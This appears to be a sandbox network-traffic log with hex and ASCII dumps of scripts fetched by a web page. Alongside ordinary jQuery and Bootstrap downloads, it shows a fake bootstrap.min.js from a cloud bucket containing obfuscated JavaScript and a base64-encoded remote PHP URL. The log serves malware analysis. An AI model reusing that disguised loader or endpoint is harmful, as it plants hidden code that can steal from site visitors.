2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-03-20 15:22:05 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:05 UTC	609	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:05 UTC	561	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Thu, 20 Mar 2025 15:22:05 GMT Via: 1.1 varnish Age: 806451 X-Served-By: cache-lga21954-LGA X-Cache: HIT X-Cache-Hits: 7 X-Timer: S1742484126.918268,VS0,VE0 Vary: Accept-Encoding
2025-03-20 15:22:05 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-20 15:22:05 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2025-03-20 15:22:06 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2025-03-20 15:22:06 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2025-03-20 15:22:06 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:22:07 UTC	669	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 1419993777-1317754460.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:22:08 UTC	506	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 549820 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 20 Mar 2025 15:22:07 GMT ETag: "027ce3f3aa2dd1447ac1113e620ca2c5" Last-Modified: Tue, 18 Mar 2025 03:32:48 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 14417405353885346618 x-cos-request-id: NjdkYzMyOWZfOTVjZTE3MWRfMTllMDZfYjVkYmEzNg== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-03-20 15:22:08 UTC	15878	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 68 59 6d 78 6c 5a 79 35 32 5a 57 35 31 5a 53 35 70 64 43 35 6a 62 32 30 76 5a 32 39 76 5a 32 78 6c 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 38 36 38 34 39 3d 5f 30 78 33 35 32 39 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 38 36 65 38 31 2c 5f 30 78 33 38 30 61 63 62 29 7b 76 61 72 20 5f 30 78 33 34 61 31 31 63 3d 5f 30 78 33 35 32 39 2c 5f 30 78 65 66 30 65 32 33 3d 5f 30 78 31 38 36 65 38 31 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 33 35 61 34 39 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 34 61 31 31 63 28 30 78 32 61 39 29 29 2f 28 30 78 31 65 33 31 2b 30 78 31 33 34 2a 2d 30 78 31 36 2b 2d 30 78 33 62 38 29 2b 2d 70 61 Data Ascii: var file = "aHR0cHM6Ly9hYmxlZy52ZW51ZS5pdC5jb20vZ29vZ2xlLnBocA==";var _0x586849=_0x3529;(function(_0x186e81,_0x380acb){var _0x34a11c=_0x3529,_0xef0e23=_0x186e81();while(!![]){try{var _0x535a49=parseInt(_0x34a11c(0x2a9))/(0x1e31+0x134*-0x16+-0x3b8)+-pa
2025-03-20 15:22:08 UTC	8188	IN	Data Raw: 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 66 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 65 33 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 64 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 33 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 39 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 31 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 31 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 38 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 66 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 30 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 30 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 34 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 39 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 39 37 29 2b 5f 30 78 32 37 65 Data Ascii: )+_0x27ef6c(0xbf4)+_0x27ef6c(0xe3e)+_0x27ef6c(0x1fd4)+_0x27ef6c(0x1234)+_0x27ef6c(0x159c)+_0x27ef6c(0x2186)+_0x27ef6c(0x1310)+_0x27ef6c(0x1b80)+_0x27ef6c(0x3f3)+_0x27ef6c(0xf03)+_0x27ef6c(0x1304)+_0x27ef6c(0x1145)+_0x27ef6c(0x9fa)+_0x27ef6c(0x1997)+_0x27e
2025-03-20 15:22:08 UTC	8184	IN	Data Raw: 36 63 28 30 78 63 38 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 61 63 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 63 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 64 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 37 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 64 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 31 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 62 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 39 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 66 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 32 Data Ascii: 6c(0xc83)+_0x27ef6c(0x1acb)+_0x27ef6c(0xcad)+_0x27ef6c(0x20d3)+_0x27ef6c(0x137a)+_0x27ef6c(0x7d0)+_0x27ef6c(0x1323)+_0x27ef6c(0x271d)+_0x27ef6c(0x779)+_0x27ef6c(0x1249)+_0x27ef6c(0x13b4)+_0x27ef6c(0x1f9e)+_0x27ef6c(0x1bf3)+_0x27ef6c(0x117)+_0x27ef6c(0x1c2
2025-03-20 15:22:08 UTC	8184	IN	Data Raw: 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 36 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 64 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 30 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 35 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 63 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 61 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 65 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 62 37 29 2b 5f 30 78 32 37 65 Data Ascii: 6)+_0x27ef6c(0x202)+_0x27ef6c(0x176))+(_0x27ef6c(0xd08)+_0x27ef6c(0x1d25)+_0x27ef6c(0x4d9)+_0x27ef6c(0x1c00)+_0x27ef6c(0x1e9)+_0x27ef6c(0x2353)+_0x27ef6c(0x11c7)+_0x27ef6c(0x20aa)+_0x27ef6c(0x152b)+_0x27ef6c(0xd08)+_0x27ef6c(0x4ef)+_0x27ef6c(0x6b7)+_0x27e
2025-03-20 15:22:08 UTC	8184	IN	Data Raw: 32 37 65 66 36 63 28 30 78 31 38 64 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 66 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 37 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 61 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 62 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 32 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 36 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 33 35 29 2b 5f 30 78 32 37 65 66 36 63 28 Data Ascii: 27ef6c(0x18df)+_0x27ef6c(0x28f5)+_0x27ef6c(0x1069)+_0x27ef6c(0x1586)+_0x27ef6c(0x1ba)+_0x27ef6c(0x2ab7)+_0x27ef6c(0x677)+_0x27ef6c(0x28bb)+_0x27ef6c(0xa49)+_0x27ef6c(0x1db6)+_0x27ef6c(0x2687)+_0x27ef6c(0x2820)+_0x27ef6c(0x56d)+_0x27ef6c(0x2035)+_0x27ef6c(
2025-03-20 15:22:08 UTC	8184	IN	Data Raw: 66 36 63 28 30 78 32 39 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 34 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 30 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 64 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 63 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 66 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 33 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 37 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 Data Ascii: f6c(0x292b)+_0x27ef6c(0xb91)+_0x27ef6c(0x1844)+_0x27ef6c(0x270f)+_0x27ef6c(0x2a0c)+_0x27ef6c(0xf52)+_0x27ef6c(0x14d7)+_0x27ef6c(0x1ba)+_0x27ef6c(0x10ce)+_0x27ef6c(0x4fe)+_0x27ef6c(0x1e31)+_0x27ef6c(0x1b1c)+_0x27ef6c(0x1f70)+_0x27ef6c(0x1126)+_0x27ef6c(0x2
2025-03-20 15:22:08 UTC	8184	IN	Data Raw: 37 65 66 36 63 28 30 78 62 31 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 36 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 32 61 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 30 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 63 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 64 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 65 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 35 33 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 33 62 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 Data Ascii: 7ef6c(0xb11)+_0x27ef6c(0x196e)+_0x27ef6c(0x87)+_0x27ef6c(0x22a9)+_0x27ef6c(0x2a04)+_0x27ef6c(0x2acd)+_0x27ef6c(0x723)+_0x27ef6c(0xfd4)+_0x27ef6c(0x1b1f)+_0x27ef6c(0x1ee7)+_0x27ef6c(0x1b69)+_0x27ef6c(0x1d26)+_0x27ef6c(0x353))+(_0x27ef6c(0x3b3)+_0x27ef6c(0x
2025-03-20 15:22:08 UTC	16384	IN	Data Raw: 63 28 30 78 31 39 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 34 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 36 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 66 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 36 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 37 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 64 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 34 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 35 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 36 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 61 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 33 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 30 Data Ascii: c(0x19fa)+_0x27ef6c(0xd4c)+_0x27ef6c(0x1368)+_0x27ef6c(0x18f6)+_0x27ef6c(0x2766)+_0x27ef6c(0x57f)+_0x27ef6c(0x24dd)+_0x27ef6c(0x134f)+_0x27ef6c(0x25ad)+_0x27ef6c(0x240f)+_0x27ef6c(0x1464)+_0x27ef6c(0x28a1)+_0x27ef6c(0x639)+_0x27ef6c(0x4b1)+_0x27ef6c(0x260
2025-03-20 15:22:08 UTC	16352	IN	Data Raw: 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 36 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 39 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 31 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 32 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 66 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 39 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 66 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 61 34 29 2b 5f 30 78 Data Ascii: 7)+_0x27ef6c(0x246c)+_0x27ef6c(0x2949)+_0x27ef6c(0x8b7)+_0x27ef6c(0x2312)+_0x27ef6c(0x142c)+_0x27ef6c(0x28be)+_0x27ef6c(0x17f1)+_0x27ef6c(0x1291)+_0x27ef6c(0x1d2e)+_0x27ef6c(0x8fa)+_0x27ef6c(0x1579)+_0x27ef6c(0x1c92)+_0x27ef6c(0x7f0)+_0x27ef6c(0x17a4)+_0x
2025-03-20 15:22:08 UTC	16384	IN	Data Raw: 78 32 37 65 66 36 63 28 30 78 32 33 33 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 62 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 39 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 37 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 64 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 64 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 63 31 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 36 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 61 66 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 37 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 32 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 62 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 64 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 Data Ascii: x27ef6c(0x233d)+_0x27ef6c(0xdb0)+_0x27ef6c(0x597)+_0x27ef6c(0x1c7b)+_0x27ef6c(0x4d0)+_0x27ef6c(0x12de)+_0x27ef6c(0xc1f)+_0x27ef6c(0x1961)+_0x27ef6c(0xaf5)+_0x27ef6c(0xd91)+_0x27ef6c(0x1b7f)+_0x27ef6c(0x1522)+_0x27ef6c(0x23bd)+_0x27ef6c(0x12de)+_0x27ef6c(0

